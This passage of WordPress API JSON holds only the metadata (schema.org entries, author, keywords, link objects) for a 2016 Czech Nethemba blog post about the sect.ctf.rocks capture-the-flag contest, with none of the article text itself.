Lupt\u00e1k","Odhadovan\u00e1 doba \u010dten\u00ed":"8 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"CTF sect.ctf.rocks","datePublished":"2016-09-12T13:19:58+00:00","dateModified":"2016-09-13T07:36:31+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/"},"wordCount":1396,"commentCount":0,"keywords":["ctf","exploits","web security"],"articleSection":["Uncategorized @cs"],"inLanguage":"cs","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/","url":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/","name":"CTF sect.ctf.rocks - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"datePublished":"2016-09-12T13:19:58+00:00","dateModified":"2016-09-13T07:36:31+00:00","author":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"breadcrumb":{"@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#breadcrumb"},"inLanguage":"cs","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/cs\/ctf-sect-ctf-rocks\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/cs\/home-new-2025\/"},{"@type":"ListItem","position":2,"name":"CTF sect.ctf.rocks"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"cs"},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"],"url":"https:\/\/nethemba.com\/cs\/author\/nethemba-admin\/"}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/2001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/comments?post=2001"}],"version-history":[{"count":0,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/2001\/revisions"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/media?parent=2001"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/categories?post=2001"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/tags?post=2001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}